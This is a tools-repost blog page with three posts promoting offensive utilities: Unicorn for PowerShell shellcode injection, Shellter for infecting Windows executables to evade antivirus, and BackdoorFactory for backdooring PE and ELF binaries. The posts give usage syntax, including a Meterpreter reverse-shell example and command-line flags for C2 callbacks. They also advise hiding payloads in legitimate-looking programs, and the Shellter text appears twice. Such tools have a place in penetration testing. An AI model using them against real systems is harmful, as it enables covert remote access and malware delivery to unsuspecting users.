Showing posts with label shellcode. Show all posts
Showing posts with label shellcode. Show all posts
Sunday, April 16, 2017
Unicorn Tool for using a PowerShell downgrade attack and inject shellcode straight into memory
Unicorn Tool for using a PowerShell downgrade attack and inject shellcode straight into memory
Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graebers powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Usage is simple, just run Magic Unicorn (ensure Metasploit is installed and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system.
root@bt:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/_ --(/|___/-/
|_-___ __-_`- /-/ .
|_-___,-_____--/_) )
-_ / __ ( `( __`|
`__| |) ) /(/|
,._____., ,--//-| | /
/ __. , / /,---| /
/ / _. `/`_/ _, | |
| | ( ( | ,/__// | |
| `--, `_/_------______/ ( )/
| | _. , ___/
| | _
_ /
._ __ _| |
___ |
__ __ _ | |
| _____ ____ | |
| __ --- .__ | | |
__ --- / ) | /
____/ / ()( `---_ /|
__________/(,--__ _________. | ./ |
| `---_--, _,./ |
| _ ` /`---_______- /
.___,`| /
| _ | ( |: |
| / / | ;
( `_ |
. . `__/ | |
. | |
( )
| | | |
| I `
( __; ( _; (-_;
|___ ___: ___:Unicorn is a PowerShell injection tool utilizing Matthew Graebers attack and expanded to automatically downgrade the process if a 64 bit platform is detected. This is useful in order to ensure that we can deliver a payload with just one set of shellcode instructions. This will work on any version of Windows with PowerShell installed. Simply copy and paste the output and wait for the shells.
Usage:
python unicorn.py payload reverse_ipaddr port Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443Download Unicorn
Go to link download
Sunday, April 9, 2017
Shellter v1 7 Dynamic ShellCode Injector Tool
Shellter v1 7 Dynamic ShellCode Injector Tool

Shellter is a dynamic shellcode injection tool, and probably the first dynamic PE infector ever created.
It can be used in order to inject shellcode into native Windows applications (currently 32-bit apps only).
The shellcode can be something yours or something generated through a framework, such as Metasploit.
Shellter takes advantage of the original structure of the PE file and doesnt apply any modification such as changing memory access permissions in sections (unless the user wants and/or he chooses Basic Mode), adding an extra section with RWE access,and whatever would look dodgy under an AV scan.
Shellter uses a unique dynamic approach which is based on the execution flow of the target application.
How does it work?
Shellter uses a unique dynamic approach which is based on the execution flow of the target application. This means that no static/predefined locations are used for shellcode injection. Shellter will launch and trace the target, while at the same time will log the execution flow of the application.
What does it trace?
Shellter traces the entire execution flow that occurs in userland. That means,code inside the target application itself (PE image), and code outside of it that might be in a system dll or on a heap, etc. This happens in order to ensure that functions actually belonging to the target executable, but are only used as callback functions for Windows APIs will not be missed.
However, the tracing engine will not log any instructions that are not in the memory range of the PE image of the target application, since these cannot be used as a reference to permanently inject the shellcode.
Why do I need Shellter?
Bypass AVs.
Executables created through Metasploit are most likely detected by most AV vendors. By using Shellter, you automatically have an infinitely polymorphic executable template, since you can use any 32-bit standalone native Windows executable to host your shellcode. By standalone means an executable that doesnt need any proprietary DLLs, apart from the system DLLs to load and run. For example, notepad.exe, and many other applications you can find online, or create by yourself as your own custom templates.
You can also use applications that make use of proprietary DLLs if those are not required to create the process in the first place, and are normally loaded later on if needed to execute code for a specific task. In case you select an application that needs one or more proprietary DLLs to create the process in the first place then you will have to include them in the same directory from where you load the main executable. However, this is not recommended since it is more convenient to have just a single executable to upload to the target.
What types of apps can I use?
You can basically use any 32-bit standalone (see above) native Windows application. Of course, since the main goal is to bypass an AV,you should always avoid packed applications or generally applications that have dodgy
characteristics such as sections with RWE permissions, more than one sections containing executable code etc..
Another reason why you should avoid packed applications is because advanced packers will also check for modifications of the file, so you will probably just break it. Advanced packers also perform various anti-reversing tricks which will detect Shellters debugging engine during tracing. If you are a lover of packers, you can first perform the injection and then pack the application with the packer of your choice.
The best bet is to use completely legitimate looking applications (ideally not packed) that are not flagged by any AV vendor for any reason.
These can be either yours, or something you got online.
Can I use encoded/self-decrypting payloads?
Shellter also supports encoded/self-decrypting payloads by taking advantage of the Imports Table of the application. It will look for specific imported APIs that can be used on runtime to execute a self-decrypting payload without doing any modifications in the sections characteristics from inside the PE Header.
At the moment 7 methods are supported for loading encoded payloads:
If the target PE file doesnt import by default the necessary API(s) then a method wil be shown as N/A.
If a method requires more than one APIs, like for example method 4, it will also be shown as N/A if the PE file doesnt import all of them.
If none of the encoded payload handler methods supported are available for the current PE target, you can choose to either select a non-encoded payload or to change the sections characteristics from inside the PE Header.
This last option has been added in order to provide more flexibility to the user in case he still wants to use a specific encoded payload along with the same PE file.
How does it work?
Shellter uses a unique dynamic approach which is based on the execution flow of the target application. This means that no static/predefined locations are used for shellcode injection. Shellter will launch and trace the target, while at the same time will log the execution flow of the application.
What does it trace?
Shellter traces the entire execution flow that occurs in userland. That means,code inside the target application itself (PE image), and code outside of it that might be in a system dll or on a heap, etc. This happens in order to ensure that functions actually belonging to the target executable, but are only used as callback functions for Windows APIs will not be missed.
However, the tracing engine will not log any instructions that are not in the memory range of the PE image of the target application, since these cannot be used as a reference to permanently inject the shellcode.
Why do I need Shellter?
Bypass AVs.
Executables created through Metasploit are most likely detected by most AV vendors. By using Shellter, you automatically have an infinitely polymorphic executable template, since you can use any 32-bit standalone native Windows executable to host your shellcode. By standalone means an executable that doesnt need any proprietary DLLs, apart from the system DLLs to load and run. For example, notepad.exe, and many other applications you can find online, or create by yourself as your own custom templates.
You can also use applications that make use of proprietary DLLs if those are not required to create the process in the first place, and are normally loaded later on if needed to execute code for a specific task. In case you select an application that needs one or more proprietary DLLs to create the process in the first place then you will have to include them in the same directory from where you load the main executable. However, this is not recommended since it is more convenient to have just a single executable to upload to the target.
What types of apps can I use?
You can basically use any 32-bit standalone (see above) native Windows application. Of course, since the main goal is to bypass an AV,you should always avoid packed applications or generally applications that have dodgy
characteristics such as sections with RWE permissions, more than one sections containing executable code etc..
Another reason why you should avoid packed applications is because advanced packers will also check for modifications of the file, so you will probably just break it. Advanced packers also perform various anti-reversing tricks which will detect Shellters debugging engine during tracing. If you are a lover of packers, you can first perform the injection and then pack the application with the packer of your choice.
The best bet is to use completely legitimate looking applications (ideally not packed) that are not flagged by any AV vendor for any reason.
These can be either yours, or something you got online.
Can I use encoded/self-decrypting payloads?
Shellter also supports encoded/self-decrypting payloads by taking advantage of the Imports Table of the application. It will look for specific imported APIs that can be used on runtime to execute a self-decrypting payload without doing any modifications in the sections characteristics from inside the PE Header.
At the moment 7 methods are supported for loading encoded payloads:
- VirtualAlloc
- VirtualAllocEx
- VirtualProtect
- VirtualProtectEx
- HeapCreate/HeapAlloc
- LoadLibrary/GetProcAddress
- CreateFileMapping/MapViewOfFile
If the target PE file doesnt import by default the necessary API(s) then a method wil be shown as N/A.
If a method requires more than one APIs, like for example method 4, it will also be shown as N/A if the PE file doesnt import all of them.
If none of the encoded payload handler methods supported are available for the current PE target, you can choose to either select a non-encoded payload or to change the sections characteristics from inside the PE Header.
This last option has been added in order to provide more flexibility to the user in case he still wants to use a specific encoded payload along with the same PE file.
Download Shellter v1.7
Go to link download
Thursday, April 6, 2017
BackdoorFactory Patch PE x86 x64 and ELF x86 x64 and ARM LE x32 binaries with shellcode
BackdoorFactory Patch PE x86 x64 and ELF x86 x64 and ARM LE x32 binaries with shellcode
Patch win86/64 PE and linux86/64 binaries with shellcode. The goal of The Backdoor Factory is to patch executable binaries with user desired shellcode and continue normal execution of the binary prepatched state. Under a BSD 3 Clause License.
This is done by either appending a code cave or using existing code caves of the executable. This project includes several customized metasploit shellcodes. Plus a new shellcode loadliba_reverse_tcp: designed to bypass all the protections of EMET 4.1. Also, the user can provide their own shellcode for use.
This update provides the loadliba_reverse_tcp shellcode, stability fixes, and speed improvements.
Usage: backdoor.py [options]
Options:
-h, --help show this help message and exit
-f FILE, --file=FILE File to backdoor
-s SHELL, --shell=SHELL
Payloads that are available for use.
-H HOST, --hostip=HOST
IP of the C2 for reverse connections
-P PORT, --port=PORT The port to either connect back to for reverse shells
or to listen on for bind shells
-J, --cave_jumping Select this options if you want to use code cave
jumping to further hide your shellcode in the binary.
-a, --add_new_section
Mandating that a new section be added to the exe
(better success) but less av avoidance
-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
User supplied shellcode, make sure that it matches the
architecture that you are targeting.
-c, --cave The cave flag will find code caves that can be used
for stashing shellcode. This will print to all the
code caves of a specific size.The -l flag can be use
with this setting.
-l SHELL_LEN, --shell_length=SHELL_LEN
For use with -c to help find code caves of different
sizes
-o OUTPUT, --output-file=OUTPUT
The backdoor output file
-n NSECTION, --section=NSECTION
New section name must be less than seven characters
-d DIR, --directory=DIR
This is the location of the files that you want to
backdoor. You can make a directory of file backdooring
faster by forcing the attaching of a codecave to the
exe by using the -a setting.
-w, --change_access This flag changes the section that houses the codecave
to RWE. Sometimes this is necessary. Enabled by
default. If disabled, the backdoor may fail.
-i, --injector This command turns the backdoor factory in a hunt and
shellcode inject type of mechinism. Edit the target
settings in the injector module.
-u SUFFIX, --suffix=SUFFIX
For use with injector, places a suffix on the original
file for easy recovery
-D, --delete_original
For use with injector module. This command deletes
the original file. Not for use in production systems.
*Author not responsible for stupid uses.*
-O DISK_OFFSET, --disk_offset=DISK_OFFSET
Starting point on disk offset, in bytes. Some authors
want to obfuscate their on disk offset to avoid
reverse engineering, if you find one of those files
use this flag, after you find the offset.
-S, --support_check To determine if the file is supported by BDF prior to
backdooring the file. For use by itself or with
verbose. This check happens automatically if the
backdooring is attempted.
-M, --cave-miner Future use, to help determine smallest shellcode
possible in a PE file
-q, --no_banner Kills the banner.
-v, --verbose For debug information output.
-T IMAGE_TYPE, --image-type=IMAGE_TYPE
ALL, x32, or x64 type binaries only. Default=ALL
-Z, --zero_cert Allows for the overwriting of the pointer to the PE
certificate table effectively removing the certificate
from the binary for all intents and purposes.
-R, --runas_admin Checks the PE binaries for requestedExecutionLevel
level="highestAvailable". If this string is included
in the binary, it must run as system/admin. Doing this
slows patching speed significantly.
-L, --patch_dll Use this setting if you DONT want to patch DLLs.
Patches by default.Features:
PE Files
Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
Can inject shellcode into code caves or into a new section.
Can find if a PE binary needs to run with elevated privileges.
When selecting code caves, you can use the following commands:
-Jump (j), for code cave jumping
-Single (s), for patching all your shellcode into one cave
-Append (a), for creating a code cave
-Ignore (i), nevermind, ignore this binary
Can ignore DLLs.ELF Files
Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.Overall
The user can :
-Provide custom shellcode.
-Patch a directory of executables/dlls.
-Select x32 or x64 binaries to patch only.
-Include BDF is other python projects see pebin.py and elfbin.pyDownload BackdoorFactory
Go to link download
Subscribe to:
Posts (Atom)